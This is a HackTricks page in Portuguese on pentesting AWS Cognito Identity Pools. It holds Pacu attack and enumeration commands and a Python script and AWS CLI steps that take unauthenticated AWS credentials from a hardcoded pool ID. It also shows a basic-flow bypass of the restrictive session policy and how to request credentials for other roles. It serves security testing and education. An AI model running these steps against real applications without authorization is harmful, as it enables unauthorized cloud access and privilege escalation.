Cognito Identity Pools

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Informações Básicas

As pools de identidade desempenham um papel crucial ao permitir que seus usuários adquiram credenciais temporárias. Essas credenciais são essenciais para acessar vários serviços da AWS, incluindo, mas não se limitando a Amazon S3 e DynamoDB. Uma característica notável das pools de identidade é o suporte tanto para usuários convidados anônimos quanto para uma variedade de provedores de identidade para autenticação do usuário. Os provedores de identidade suportados incluem:

  • Amazon Cognito user pools

  • Opções de login social como Facebook, Google, Login with Amazon e Sign in with Apple

  • Provedores compatíveis com OpenID Connect (OIDC)

  • Provedores de identidade SAML (Security Assertion Markup Language)

  • Identidades autenticadas pelo desenvolvedor

# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3

# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')

# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'

# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)

# Print the response from AWS
print(response)

Cognito Sync

Para gerar sessões de Identity Pool, primeiro é necessário gerar um ID de Identidade. Este ID de Identidade é a identificação da sessão desse usuário. Essas identificações podem ter até 20 conjuntos de dados que podem armazenar até 1MB de pares chave-valor.

Isso é útil para manter informações de um usuário (que sempre estará usando o mesmo ID de Identidade).

Além disso, o serviço cognito-sync é o serviço que permite gerenciar e sincronizar essas informações (nos conjuntos de dados, enviando informações em fluxos e mensagens SNS...).

Ferramentas para pentesting

  • Pacu, o framework de exploração da AWS, agora inclui os módulos "cognito__enum" e "cognito__attack" que automatizam a enumeração de todos os ativos do Cognito em uma conta e sinalizam configurações fracas, atributos de usuário usados para controle de acesso, etc., e também automatizam a criação de usuários (incluindo suporte para MFA) e escalonamento de privilégios com base em atributos personalizáveis modificáveis, credenciais de pool de identidade utilizáveis, funções assumíveis em tokens de ID, etc.

Para uma descrição das funções dos módulos, consulte a parte 2 da postagem no blog. Para instruções de instalação, consulte a página principal do Pacu.

Uso

Exemplo de uso do cognito__attack para tentar a criação de usuário e todos os vetores de escalonamento de privilégios contra um determinado pool de identidade e cliente de pool de usuários:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Exemplo de uso do cognito__enum para reunir todos os grupos de usuários, clientes de grupos de usuários, pools de identidade, usuários, etc. visíveis na conta AWS atual:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner é uma ferramenta CLI em python que implementa diferentes ataques no Cognito, incluindo a criação indesejada de contas e escalonamento de pool de identidade.

Instalação

$ pip install cognito-scanner

Uso

$ cognito-scanner --help

Para mais informações, consulte https://github.com/padok-team/cognito-scanner

Acessando Funções IAM

Não autenticado

A única coisa que um atacante precisa saber para obter credenciais AWS em um aplicativo Cognito como usuário não autenticado é o ID do Pool de Identidade, e este ID deve ser codificado no aplicativo web/móvel para que ele o utilize. Um ID se parece com isso: eu-west-1:098e5341-8364-038d-16de-1865e435da3b (não é passível de força bruta).

A função IAM Cognito não autenticada criada via é chamada por padrão de Cognito_<Nome do Pool de Identidade>Unauth_Role

Se você encontrar um ID de Pool de Identidade codificado e ele permitir usuários não autenticados, você pode obter credenciais AWS com:

import requests

region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}

r = requests.post(url, json=params, headers=headers)
json_resp = r.json()

if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit

IdentityId = r.json()["IdentityId"]

params = {'IdentityId': IdentityId}

headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)

print(r.json())

Ou você poderia usar os seguintes comandos aws cli:

aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign

Note que por padrão, um usuário Cognito não autenticado NÃO PODE ter permissão alguma, mesmo que tenha sido atribuída por meio de uma política. Verifique a seção a seguir.

Fluxo de Autenticação Aprimorado vs Básico

A seção anterior seguiu o fluxo de autenticação aprimorado padrão. Esse fluxo define uma política de sessão restritiva para a sessão de função IAM gerada. Essa política permitirá apenas que a sessão utilize os serviços desta lista (mesmo que a função tenha acesso a outros serviços).

No entanto, há uma maneira de contornar isso, se o pool de identidades tiver o "Fluxo Básico (Clássico)" habilitado, o usuário poderá obter uma sessão usando esse fluxo que não terá essa política de sessão restritiva.

# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign

# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign

# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign

Se receber este erro, é porque o fluxo básico não está habilitado (padrão)

Ocorreu um erro (InvalidParameterException) ao chamar a operação GetOpenIdToken: O fluxo básico (clássico) não está habilitado, por favor, use o fluxo aprimorado.

Tendo um conjunto de credenciais IAM, você deve verificar quais acessos possui e tentar elevar privilégios.

Autenticado

Lembre-se de que os usuários autenticados provavelmente terão permissões diferentes, então se puder se inscrever no aplicativo, tente fazer isso e obter as novas credenciais.

Também pode haver funções disponíveis para usuários autenticados acessando o Identity Pool.

Para isso, você pode precisar ter acesso ao provedor de identidade. Se for um Cognito User Pool, talvez você possa abusar do comportamento padrão e criar um novo usuário você mesmo.

A função IAM Cognito autenticada criada via é chamada por padrão de Cognito_<Nome do Identity Pool>Auth_Role

De qualquer forma, o exemplo a seguir pressupõe que você já fez login em um Cognito User Pool usado para acessar o Identity Pool (não se esqueça de que outros tipos de provedores de identidade também podem estar configurados).

aws cognito-identity get-id \
--identity-pool-id <identity_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Obtenha o identity_id da resposta do comando anterior
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>


# No IdToken, você pode encontrar as funções às quais um usuário tem acesso por causa dos Grupos do User Pool
# Use --custom-role-arn para obter credenciais para uma função específica
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
    --custom-role-arn <role_arn> \
    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

É possível configurar diferentes funções IAM dependendo do provedor de identidade pelo qual o usuário está sendo autenticado ou até mesmo apenas dependendo do usuário (usando reivindicações). Portanto, se você tiver acesso a diferentes usuários através do mesmo ou de diferentes provedores, pode valer a pena fazer login e acessar as funções IAM de todos eles.

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Última actualización